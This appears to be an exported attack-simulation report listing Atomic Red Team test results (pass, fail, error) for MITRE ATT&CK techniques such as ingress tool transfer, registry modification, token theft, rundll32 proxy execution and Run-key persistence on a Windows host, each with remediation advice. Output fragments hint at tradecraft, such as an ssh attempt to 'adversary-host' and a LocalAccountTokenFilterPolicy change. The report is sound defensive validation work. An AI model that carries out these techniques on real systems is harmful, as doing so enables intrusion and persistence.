Threat impact	Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	Control validated: Account Discovery: Domain Account (T1087.002) was blocked. Maintain current security posture and continue monitoring.

ERROR**T1087.002 — Account Discovery: Domain Account**

Discovery · Medium

Details	Execution error (exit 1): You cannot call a method on a null-valued expression.
Threat impact	Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.
Remediation	1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance. 2) Enable relevant audit logging and forward to SIEM for correlation. 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component. 4) Schedule follow-up simulation to verify remediation effectiveness.

Details

Execution error (required binary unavailable): Get-ADComputer : The term 'Get-ADComputer' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

Threat impact

Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

Details

Execution error (required binary unavailable): Get-ADComputer : The term 'Get-ADComputer' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

Threat impact

Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

Details

Execution error (required binary unavailable): Get-adcomputer : The term 'Get-adcomputer' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

Threat impact

Account Discovery: Domain Account (T1087.002): Technique executed against the endpoint. Review result and apply recommended controls.

Remediation

- 1) Review and harden controls for Account Discovery: Domain Account (T1087.002) based on vendor hardening guidance.
- 2) Enable relevant audit logging and forward to SIEM for correlation.
- 3) Apply CIS Benchmark or vendor-recommended hardening for the affected component.
- 4) Schedule follow-up simulation to verify remediation effectiveness.

Details

Security control blocked the technique (access denied): fork/exec C:\Windows\system32\cmd.exe: Access is denied.

Threat impact

Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.

Remediation

Control validated: Ingress Tool Transfer (T1105) was blocked. Maintain current security posture and continue monitoring.

Details

Security control blocked the technique (access denied): fork/exec C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe: Access is denied.

Threat impact

Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.

Remediation

Control validated: Ingress Tool Transfer (T1105) was blocked. Maintain current security posture and continue monitoring.

Details

Technique executed: BITSADMIN version 3.0

Threat Impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

FAIL

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Technique executed: technique ran to completion
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

FAIL

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Technique executed: technique ran to completion
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

FAIL

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Technique executed: 1 file(s) copied.
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

PASS

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Security control blocked the technique (access denied): fork/exec C:\Windows\system32\cmd.exe: Access is denied.
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	Control validated: Ingress Tool Transfer (T1105) was blocked. Maintain current security posture and continue monitoring.

PASS

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Security control blocked the technique (access denied): fork/exec C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe: Access is denied.
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	Control validated: Ingress Tool Transfer (T1105) was blocked. Maintain current security posture and continue monitoring.

FAIL

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Technique executed: [WIN-MHQITQ23L3Q]
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.

ERROR

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Execution error (execution timed out): step exceeded execute timeout of 120s
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

FAIL

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Technique executed: % Total % Received % Xferd Average Speed Time Time Time Current
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

ERROR

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Execution error (exit 26): curl: Can't open 'c:\temp\atomicctestfile.txt'!
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

FAIL

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Technique executed: technique ran to completion
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

FAIL

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Technique executed: technique ran to completion
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

ERROR

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Execution error (execution timed out): HTTP/1.1 405
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.

FAIL

T1105 — Ingress Tool Transfer

Command And Control · High

Details

Technique executed: technique ran to completion

Threat impact

Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

ERROR

T1105 — Ingress Tool Transfer

Command And Control · High

Details

Execution error (exit 1): The filename, directory name, or volume label syntax is incorrect.

Threat impact

Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

ERROR

T1105 — Ingress Tool Transfer

Command And Control · High

Details

Execution error (required binary unavailable): sqlcmd : The term 'sqlcmd' is not recognized as the name of a cmdlet, function, script file, or operable program.

Threat impact

Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

FAIL

T1105 — Ingress Tool Transfer

Command And Control · High

Details

Technique executed: File C:\Temp\T1105_scp.zip is created

Threat impact

Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

ERROR

T1105 — Ingress Tool Transfer

Command And Control · High

Details

Execution error (network/DNS resolution failed): Directory: C:\temp

Threat impact

Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

ERROR

T1105 — Ingress Tool Transfer

Command And Control · High

Details

Execution error (network/DNS resolution failed): ssh: Could not resolve hostname adversary-host: No such host is known.

Threat Impact	Confidence	Details
Threat Impact	Confidence	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation		1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

ERROR

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Execution error (network/DNS resolution failed): Directory: C:\temp
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

ERROR

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Execution error (network/DNS resolution failed): ssh: Could not resolve hostname adversary-host: No such host is known.
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

ERROR

T1105 — Ingress Tool Transfer

Command And Control · High

Details	Execution error (required binary unavailable): OneDriveStandaloneUpdater.exe not found at C:\Users\WIN-MHQITQ23L3Q\$\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe. Test cannot continue.
Threat impact	Ingress Tool Transfer (T1105): Attacker establishes a C2 channel enabling persistent remote control, tool staging, and coordination of multi-stage attacks from outside the perimeter.
Remediation	1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames. 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic. 3) Implement network detection for beaconing patterns (periodic, low-volume connections). 4) Restrict outbound connections to an approved destination allowlist.

FAIL

T1112 — Modify Registry

Defense Evasion · High

Details	Technique executed: The operation completed successfully.
Threat impact	Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

FAIL

T1112 — Modify Registry

Defense Evasion · High

Details	Technique executed: The operation completed successfully.
Threat impact	Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

FAIL

T1112 — Modify Registry

Atomic Red Team â€” Selective Techniques

Defense Evasion · High

Details	Technique executed: The operation completed successfully.
Threat impact	Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
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FAIL

T1112 — Modify Registry

Defense Evasion · High

Details	Technique executed: technique ran to completion
Threat impact	Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

FAIL

T1112 — Modify Registry

Defense Evasion · High

Details	Technique executed: Hive: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\bad-domain.com
Threat impact	Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

FAIL

T1112 — Modify Registry

Defense Evasion · High

Details	Technique executed: T1112 : <script>
Threat impact	Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

FAIL

T1112 — Modify Registry

Defense Evasion · High

Details	Technique executed: technique ran to completion
Threat impact	Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

FAIL

T1112 — Modify Registry

Defense Evasion · High

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FAIL**T1112 — Modify Registry**

Atomic Red Team â€” Selective Techniques

Defense Evasion · High

Details	Technique executed: LocalAccountTokenFilterPolicy : 1
Threat impact	Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

FAIL**T1112 — Modify Registry**

Defense Evasion · High

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Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

ERROR**T1112 — Modify Registry**

Defense Evasion · High

Details	Execution error (missing prerequisite): New-ItemProperty : Cannot find path 'HKCU:\Software\Policies\Microsoft\Windows\System' because it does not exist.
Threat impact	Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

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FAIL

T1112 — Modify Registry

Atomic Red Team â€” Selective Techniques

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T1112 — Modify Registry

Atomic Red Team â€” Selective Techniques

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T1112 — Modify Registry

Atomic Red Team â€™ Selective Techniques

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FAIL

T1112 — Modify Registry

Atomic Red Team â€” Selective Techniques

Defense Evasion · High

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ERROR

T1112 — Modify Registry

Defense Evasion · High

Details	Execution error (malformed atomic content): ERROR: Invalid syntax.
Threat impact	Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

Details

Execution error (malformed atomic content): ERROR: Invalid syntax.

Threat impact

Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
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FAIL

T1112 — Modify Registry

Details

Technique executed: The operation completed successfully.

Threat impact

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Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
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T1112 — Modify Registry

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- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
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ERROR

T1112 — Modify Registry

Details

Execution error (malformed atomic content): ERROR: Invalid syntax.

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Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
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ERROR

T1112 — Modify Registry

Details

Execution error (malformed atomic content): ERROR: Invalid key name.

Threat impact

Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

FAIL

T1112 — Modify Registry

Details

Technique executed: The operation completed successfully.

Threat impact

Modify Registry (T1112): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
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Atomic Red Team â€™ Selective Techniques

Defense Evasion · High

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T1112 — Modify Registry

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Atomic Red Team â€” Selective Techniques

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Details

Technique executed: PSComputerName

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T1112 — Modify Registry

Atomic Red Team â€™ Selective Techniques

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Atomic Red Team â€” Selective Techniques

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PASS

T1134.001 — Access Token Manipulation: Token Impersonation/Theft

Privilege Escalation · Critical

Details	Security control blocked the technique (policy block): IEX : At line:1 char:1
Threat impact	Access Token Manipulation: Token Impersonation/Theft (T1134.001): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	Control validated: Access Token Manipulation: Token Impersonation/Theft (T1134.001) was blocked. Maintain current security posture and continue monitoring.

PASS

T1134.001 — Access Token Manipulation: Token Impersonation/Theft

Privilege Escalation · Critical

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ERROR

T1134.001 — Access Token Manipulation: Token Impersonation/Theft

Privilege Escalation · Critical

Atomic Red Team â€” Selective Techniques

Details	Execution error (missing prerequisite): Start-Process : This command cannot be run due to the error: The system cannot find the file specified.
Threat impact	Access Token Manipulation: Token Impersonation/Theft (T1134.001): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

PASS

T1218.011 — System Binary Proxy Execution: Rundll32

Defense Evasion · High

Details	Security control blocked the technique (access denied): fork/exec C:\Windows\system32\cmd.exe: Access is denied.
Threat impact	System Binary Proxy Execution: Rundll32 (T1218.011): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	Control validated: System Binary Proxy Execution: Rundll32 (T1218.011) was blocked. Maintain current security posture and continue monitoring.

PASS

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Defense Evasion · High

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Threat impact	System Binary Proxy Execution: Rundll32 (T1218.011): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	Control validated: System Binary Proxy Execution: Rundll32 (T1218.011) was blocked. Maintain current security posture and continue monitoring.

ERROR

T1218.011 — System Binary Proxy Execution: Rundll32

Defense Evasion · High

Details	Execution error (execution timed out): step exceeded execute timeout of 120s
Threat impact	System Binary Proxy Execution: Rundll32 (T1218.011): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

FAIL

T1218.011 — System Binary Proxy Execution: Rundll32

Defense Evasion · High

Details	Technique executed: technique ran to completion
Threat impact	System Binary Proxy Execution: Rundll32 (T1218.011): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

ERROR

T1218.011 — System Binary Proxy Execution: Rundll32

Defense Evasion · High

Details	Execution error (execution timed out): step exceeded execute timeout of 120s
Threat impact	System Binary Proxy Execution: Rundll32 (T1218.011): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

FAIL

T1218.011 — System Binary Proxy Execution: Rundll32

Atomic Red Team â€” Selective Techniques

Defense Evasion · High

Details

Technique executed: 1 file(s) copied.

Threat impact

System Binary Proxy Execution: Rundll32 (T1218.011): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

FAIL

T1218.011 — System Binary Proxy Execution: Rundll32

Defense Evasion · High

Details

Technique executed: technique ran to completion

Threat impact

System Binary Proxy Execution: Rundll32 (T1218.011): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

FAIL

T1218.011 — System Binary Proxy Execution: Rundll32

Defense Evasion · High

Details

Technique executed: technique ran to completion

Threat impact

System Binary Proxy Execution: Rundll32 (T1218.011): Attacker disables or bypasses security controls allowing subsequent techniques to execute undetected, defeating SIEM/SOAR alerting and EDR coverage.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

ERROR

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details

Execution error (malformed atomic content): ERROR: Invalid syntax.

Threat impact

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
- 4) Audit and remediate all startup entries against a known-good baseline.

FAIL

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details

Technique executed: The operation completed successfully.

Threat impact

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
- 4) Audit and remediate all startup entries against a known-good baseline.

FAIL

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details

Technique executed: technique ran to completion

Threat impact

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.

ERROR
T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details

Execution error (exit 1): Unable to save shortcut

Threat impact

"C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
- 4) Audit and remediate all startup entries against a known-good baseline.

FAIL
T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details

Technique executed: The operation completed successfully.

Threat impact

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
- 4) Audit and remediate all startup entries against a known-good baseline.

FAIL
T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details

Technique executed: technique ran to completion

Threat impact

